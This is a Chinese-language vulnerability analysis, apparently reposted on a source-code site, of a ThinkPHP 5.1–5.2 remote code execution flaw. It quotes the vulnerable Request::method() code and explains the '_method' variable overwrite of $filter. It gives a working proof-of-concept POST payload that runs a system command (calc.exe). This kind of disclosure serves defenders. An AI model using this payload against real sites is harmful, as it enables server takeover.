Thinkphp5.1 ~ 5.2 全版本代码执行

广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪

最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下下同样也存在代码执行

漏洞分析:

文件位置:/thinkphp/library/think/Request.php

  1. /**
  2. * 当前的请求类型
  3. * @access public
  4. * @param bool $origin 是否获取原始请求类型
  5. * @return string
  6. */
  7. public function method($origin = false)
  8. {
  9. if ($origin) {
  10. // 获取原始请求类型
  11. return $this->server('REQUEST_METHOD') ?: 'GET';
  12. } elseif (!$this->method) {
  13. if (isset($_POST[$this->config['var_method']])) {
  14. $this->method = strtoupper($_POST[$this->config['var_method']]);
  15. $method = strtolower($this->method);
  16. $this->{$method} = $_POST;
  17. } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
  18. $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
  19. } else {
  20. $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
  21. }
  22. }
  23. return $this->method;
  24. }

其中:

  1. $this->method = strtoupper($_POST[$this->config['var_method']]);
  2. $method = strtolower($this->method);
  3. $this->{$method} = $_POST;
  4. $method变量是$this->method,其同等于POST的”_method”参数值

然后该处存在一个变量覆盖

我们可以覆盖 $filter 属性值(POC如下)

  1. c=exec&f=calc.exe&&_method=filter&

访问如下图所示:

 

Thinkphp5.1 ~ 5.2 全版本代码执行

 

会爆出一个警告级别的异常,导致程序终止

如何触发:

如果设置忽略异常提示,如下图:

 

Thinkphp5.1 ~ 5.2 全版本代码执行

 

本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置

Payload(POST请求):

 

Thinkphp5.1 ~ 5.2 全版本代码执行

 

弹出计算器

如果遇到资源下载失效,请复制当前文章链接类型客服处理!
找源码 » Thinkphp5.1 ~ 5.2 全版本代码执行